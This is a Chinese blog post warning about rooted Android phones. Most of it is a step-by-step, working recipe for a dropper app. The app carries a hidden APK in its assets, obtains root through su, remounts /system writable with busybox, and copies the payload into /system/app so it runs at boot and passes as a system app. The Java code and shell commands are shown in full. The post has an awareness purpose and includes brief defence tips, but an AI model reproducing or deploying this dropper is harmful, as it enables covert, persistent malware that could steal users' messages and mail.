`
iaiai
  • 浏览: 2145902 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

android手机root后的安全问题 (一)

 
阅读更多
前提:你有一部已经root的android手机,并且手机中有busybox和superuser

导读:本文介绍一种简单的病毒以及如何“防御”。
写本博客的原因是:有无数用户觉得root没有什么风险,或者风险不会降临到自己头上。这里告诉大家,其实风险就在身边!

这里讲的内容其实对于大多数开发者都不是什么新鲜的事情了,使用的技术也非常一般和普遍。
虽然大家都知道可以这样这样,但是还是随意下载软件,不加小心,就会掉入陷阱。
有些人觉得,只要我下载软件的时候检查软件所申请的权限就好了,其实没有那么简单。

我们来看看如果一个软件,获得了一次root权限,那么它可以作些什么呢?
好吧,我们先来一次“静默安装”!
原理很简单,基本上相当于把apk push到手机里面,两个选择
data/app
system/app
如果我是病毒软件,我肯定选择push到system/app
我们需要制作两个apk,一个是真正目的的(病毒,real.apk),另一个是假的壳子(fake.apk)
首先先制作real.apk,我们只是用来测试,所以这个apk没有什么实际内容(为了节省大家时间,real.apk已经上传)。
real.apk里有一个receiver,用来监听开机的广播
android.intent.action.BOOT_COMPLETED

还有一个activity,没有什么实质内容,然后编译出apk,待用。

下面来制作壳子
新建一个android工程,将之前的real.apk复制到assets目录下
然后新建一个activity来测试
这个壳子的很简单,它只负责把真实的应用安装到用户手机中,我们再细分一下,首先,将文件assets/real.apk提取出来,放到自己的私有目录中,在本例子中的目录为data/data/com.example.fake/files,这一步是不需要任何权限的
prepareButton.setOnClickListener(new View.OnClickListener() {  
    public void onClick(View v) {  
        File dataFolder = getFilesDir();  
                File jar = new File(dataFolder.getAbsolutePath() + "/real.apk");  
                copyFile("real.apk", jar, mResources);  
    }  
});

其中copFile函数见附件(就是一个简单的io读写操作),这里只给出伪代码
InputStream myInput = null;  
try  
    myInput = resources.getAssets().open(filePath);  
    ……  
catch  
……  
finally  
……

第一步已经完成了,下一步请求root权限,然后将real.apk恶意安装给用户。
这里需要使用到busybox,命令如下
busybox mount -o remount,rw /system  
busybox cp /data/data/com.example.fake/files/real.apk /system/app/real.apk  
busybox rm /data/data/com.example.fake/files/real.apk

之所以使用busybox,是因为手机里面可能没有mount、cp、rm等命令(我的手机里面就没有)
当然superuser需要同意你使用root权限
至此,你的入侵行为已经全部完成!
installButton.setOnClickListener(new View.OnClickListener() {  
        public void onClick(View v) {  
            String packageName = getPackageName();  
            String[] commands = {"busybox mount -o remount,rw /system",  
                                 "busybox cp /data/data/" + packageName + "/files/real.apk /system/app/real.apk",  
                                 "busybox rm /data/data/" + packageName + "/files/real.apk"};  
            Process process = null;  
            DataOutputStream dataOutputStream = null;  
  
            try {  
                process = Runtime.getRuntime().exec("su");  
                dataOutputStream = new DataOutputStream(process.getOutputStream());  
                int length = commands.length;  
                for (int i = 0; i < length; i++) {  
                    Log.e(TAG, "commands[" + i + "]:" + commands[i]);  
                    dataOutputStream.writeBytes(commands[i] + "\n");  
                }  
                dataOutputStream.writeBytes("exit\n");  
                dataOutputStream.flush();  
                process.waitFor();  
            } catch (Exception e) {  
                Log.e(TAG, "copy fail", e);  
            } finally {  
                try {  
                    if (dataOutputStream != null) {  
                        dataOutputStream.close();  
                    }  
                    process.destroy();  
                } catch (Exception e) {  
                }  
            }  
        }  
    });  
}

重启手机之后,real.apk就能工作了,它会接收到开机广播
如果你嵌入了更恶劣的代码,比如偷发短信,窃取邮件,那么用户也是很难察觉的
real.apk在settings中会显示在系统应用中,用户不太会怀疑,即使怀疑了,他们也不敢轻易卸载!谁让他们自己随意刷rom呢,每个rom集成的软件都不一样。

如何防御?!
我不知道如何防御,最简单的办法就是,解压你来路不明的apk文件,看看assets文件下有没有什么可疑文件。当然,病毒可能会去掉或者修改文件名的后缀!
我手机中安装了卡巴斯基免费版,很可惜,它没有查出病毒(即使你的real.apk嵌入更恶意的代码)
大家可以试试其他杀毒软件,比如……希望大家能给个反馈结果


请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!
分享到:
评论

相关推荐

    android手机root工具

    这是一个工具,帮你获取android手机的root权限。让你不受控制,当然,这可能也给你手机带来一些安全问题,所以请慎重。

    安卓手机Root权限破解.doc

    许多机友新购来的Android机器没有破解过Root权限,无法使用一些需要高权限的软件,以及进行一些高权限的操作,其实破解手机Root权限是比较简单及安全的,破解Root权限的原理就是在手机的/system/bin/或/system/xbin/...

    android手机获取root权限教程

    root就是手机的神经中枢,它可以访问和修改你手机几乎所有的文件,这些东西可能是制作手机的公司不愿意你修改和触碰的东西,因为他们有可能影响到手机的稳定,还容易被一些黑客入侵(Root是Linux等类UNIX系统中的...

    Android应用开发实例:手机安全卫士源码

    - 软件管理:列出系统的所有软件,启动软件、卸载软件、系统的卸载失败(需要root权限这个后面也会介绍) - 进程管理:列出系统中正在运行的程序;演示杀死软件 - 窗口小部件:添加桌面; - 流量统计:模拟器并不...

    手机root权限破解

    许多机友新购来的Android机器没有破解过Root权限,无法使用一些需要高权限的软件,以及进行一些高权限的操作,其实破解手机Root权限是比较简单及安全的,破解Root权限的原理就是在手机的/system/bin/或/system/xbin/...

    [Android]模拟器、root检测.xls

    手机QQ 安全业务用例 模拟器、root检测,通用返回脚本等参考方案

    Android手机无法连接WIFI等问题的6种解决方案

    一、通用解决方案 二、Android手机使用的通用方法(简洁版) ...四、Android手机未ROOT方法(方法一) 五、Android手机未ROOT方法(方法二) 六、Android7.0及以上系统连接WIFI显示网络连接受限(Android10系统ROM定制)

    天天root v1.8 官方版.zip

    天天root是一款专业好用的安卓手机root工具。软件安全,稳定,快速,覆盖了国内绝大部分的手机机型,覆盖了国内绝大部分的手机机型,安全root成功率极高。软件界面美观简洁、简单全面、实用方便,无需培训,即可快速...

    Android手机的轻量级访问控制

    ndroid手机与计算机建立连接之后,计算机能以root身份登录Android手机,会给手机的应用程序和用户数据造成安全隐患。以Android手机为平台,提出了一种适用于Android手机的访问控制方法,该方法在Android手机的内核中增加...

    android root 原理

    Root本身是指Linux系统的root帐户,该帐户拥有整个系统至高无上的权利,系统中的所有对象它都可以操作,对于Android手机用户来说的Root是指拥有Root权限,一般情况下,手机厂商出于安全考虑会关闭手机的Root权限,...

    论文研究-Android手机的轻量级访问控制.pdf

    Android手机与计算机建立连接之后,计算机能以root身份登录Android手机,会给手机的应用程序和用户数据造成安全隐患。以Android手机为平台,提出了一种适用于Android手机的访问控制方法,该方法在Android手机的内核中...

    手机安卓4.0软件专业ROOT工具

    本软件专门用于手机安卓软件4.0以上的root,成功率能到到九成,并且对手机系统绝无损坏,本人已亲测。绝对安全绿色

    Android Root利用技术漫谈:绕过PXN.ppt

    PXN是“Privileged Execute-Never”的简写,是一种漏洞利用缓解措施,它能阻止用户空间shellcode以特权态执行...本次议题还将利用一个IceSword Lab报给Google的高通驱动漏洞,来展示如何绕过PXN来root一款Android手机。

    Android 操作系统获取Root权限 原理详细解析

    许多机友新购来的Android机器没有破解过Root权限,无法使用一些需要高权限的软件,以及进行一些高权限的操作,其实破解手机Root权限是比较简单及安全的,破解Root权限的原理就是在手机的/system/bin/或/system/xbin/...

    基于Android系统免Root主防方法的研究

    摘要:为解决Android手机获取Root权限系统安全性的降低,非Root授权下Android手机安全应用防护效果不理想的一系列问题,研究了 ART 运行时工作原理、Java 反射机制和 AOP 原理,设计验证了一套免Root主动防御机制,...

    基于利用方式的Android Root漏洞分析

    Android平台恶意软件可以使用获取系统root权限的方式来绕过传统的Android安全机制,并且由于Android碎片化现象的存在,出现了很多利用方式、范围不同的Android root漏洞,因此有必要详细了解这些漏洞的实现机制,以采取...

    Root精灵 v3.1.5.zip

    ROOT精灵是一款专业的安卓手机一键ROOT工具软件。软件体积小,但成功率高,支持中兴、华为、联想、三星、HTC等国内外知名品牌手机,覆盖Android 超过300款机型。软件界面美观简洁、简单全面、实用方便,无需培训,...

    一键Root大师

    “一键Root大师”[1]是由国内著名应用开发...一键Root大师分为PC版和手机版,软件适配了大多数Android手机和平板,集成了多种Root方案,可以智能匹配出适合用户机型的Root方案,是一款高效安全的Android手机Root工具。

    天天root v1.1 Beta

    软件特点1、快速识别手机型号,及时更新上市的新机,最快选出对应手机的root方案,使得手机root的速率大大提升。2、支持版本跨度大,从Android 2.3~Android 4.4各个版本的root支持,基本涵盖了国内所有手机的版本...

Global site tag (gtag.js) - Google Analytics